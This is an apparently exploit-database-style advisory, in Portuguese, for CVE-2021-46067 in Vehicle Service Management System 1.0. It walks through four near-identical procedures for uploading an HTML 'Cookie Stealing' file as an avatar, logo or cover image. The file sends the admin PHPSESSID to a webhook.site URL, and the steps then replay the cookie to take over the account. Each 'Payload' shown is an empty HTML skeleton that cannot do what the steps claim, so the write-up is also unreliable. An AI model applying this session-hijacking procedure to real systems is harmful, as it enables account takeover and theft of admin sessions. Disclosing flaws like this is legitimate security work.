CVE-2021-46067
Exploit Title: Vehicle Service Management System - 'Múltiplo' Roubo de Cookies Leva à Assunção Total de Conta
CVE: CVE-2021-46067
CVSS: 9.8 CRÍTICO
References:
Description:
No Vehicle Service Management System 1.0 um invasor pode roubar os cookies, levando à Assunção Total de Conta.
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
Exploit:
- Faça login no painel de administração http://localhost/vehicle_service/admin
- Navegue até a seção Minha Conta http://localhost/vehicle_service/admin/?page=user
- Gere a URL do Webhook - https://webhook.site
- Copie a URL única do Webhook e cole-a no código html abaixo.
Payload:
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
- Salve o código html acima. Ex: Cookie Stealing.html
- Na seção Minha Conta, insira todos os detalhes necessários e selecione o arquivo html em Avatar.
- Clique no botão Atualizar.
- Abra a imagem do avatar em uma nova aba e verifique o status do Webhook.
- Recebemos a requisição contendo PHPSESSID.
- Copie o valor de PHPSESSID e abra outro navegador.
- Visite o painel de administração http://localhost/vehicle_service/admin
- Verifique os valores dos cookies e altere o valor de PHPSESSID para o valor copiado.
- Agora acesse o painel de administração http://localhost/vehicle_service/admin
- Logado com sucesso na conta. Assunção de Conta bem-sucedida.
2. Vehicle Service Management System - 'Lista de Usuários' (/admin/?page=user/manage_user)
Exploit:
- Faça login no painel de administração http://localhost/vehicle_service/admin
- Navegue até a seção Lista de Usuários e clique no botão Criar Novo.
- Gere a URL do Webhook - https://webhook.site
- Copie a URL única do Webhook e cole-a no código html abaixo.
Payload:
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
- Salve o código html acima. Ex: Cookie Stealing.html
- Na seção Criar Novo Usuário, insira todos os detalhes necessários e selecione o arquivo html em Avatar.
- Clique no botão Salvar.
- Abra a imagem do avatar em uma nova aba e verifique o status do Webhook.
- Recebemos a requisição contendo PHPSESSID.
- Copie o valor de PHPSESSID e abra outro navegador.
- Visite o painel de administração http://localhost/vehicle_service/admin
- Verifique os valores dos cookies e altere o valor de PHPSESSID para o valor copiado.
- Agora acesse o painel de administração http://localhost/vehicle_service/admin
- Logado com sucesso na conta. Assunção de Conta bem-sucedida.
3. Vehicle Service Management System - 'Configurações - Logotipo do Sistema' (/admin/?page=system_info)
Exploit:
- Faça login no painel de administração http://localhost/vehicle_service/admin
- Navegue até a seção Configurações http://localhost/vehicle_service/admin/?page=system_info
- Gere a URL do Webhook - https://webhook.site
- Copie a URL única do Webhook e cole-a no código html abaixo.
Payload:
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
- Salve o código html acima. Ex: Cookie Stealing.html
- Na seção Configurações, insira todos os detalhes necessários e selecione o arquivo html em Logotipo do Sistema.
- Clique no botão Atualizar.
- Abra a imagem do Logotipo do Sistema em uma nova aba e verifique o status do Webhook.
- Recebemos a requisição contendo PHPSESSID.
- Copie o valor de PHPSESSID e abra outro navegador.
- Visite o painel de administração http://localhost/vehicle_service/admin
- Verifique os valores dos cookies e altere o valor de PHPSESSID para o valor copiado.
- Agora acesse o painel de administração http://localhost/vehicle_service/admin
- Logado com sucesso na conta. Assunção de Conta bem-sucedida.
4. Vehicle Service Management System - 'Configurações - Capa do Site' (/admin/?page=system_info)
Exploit:
- Faça login no painel de administração http://localhost/vehicle_service/admin
- Navegue até a seção Configurações http://localhost/vehicle_service/admin/?page=system_info
- Gere a URL do Webhook - https://webhook.site
- Copie a URL única do Webhook e cole-a no código html abaixo.
Payload:
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
- Salve o código html acima. Ex: Cookie Stealing.html
- Na seção Configurações, insira todos os detalhes necessários e selecione o arquivo html em Capa do Site.
- Clique no botão Atualizar.
- Abra a imagem da Capa do Site em uma nova aba e verifique o status do Webhook.
- Recebemos a requisição contendo PHPSESSID.
- Copie o valor de PHPSESSID e abra outro navegador.
- Visite o painel de administração http://localhost/vehicle_service/admin
- Verifique os valores dos cookies e altere o valor de PHPSESSID para o valor copiado.
- Agora acesse o painel de administração http://localhost/vehicle_service/admin
- Logado com sucesso na conta. Assunção de Conta bem-sucedida.
Impact:
Um invasor faz upload de um arquivo html malicioso que redireciona para um site de terceiros e os cookies são expostos na requisição. Isso leva à Assunção Total de Conta.
Mitigation:
Recomenda-se validar a funcionalidade de upload de arquivos e realizar verificações secundárias na sessão.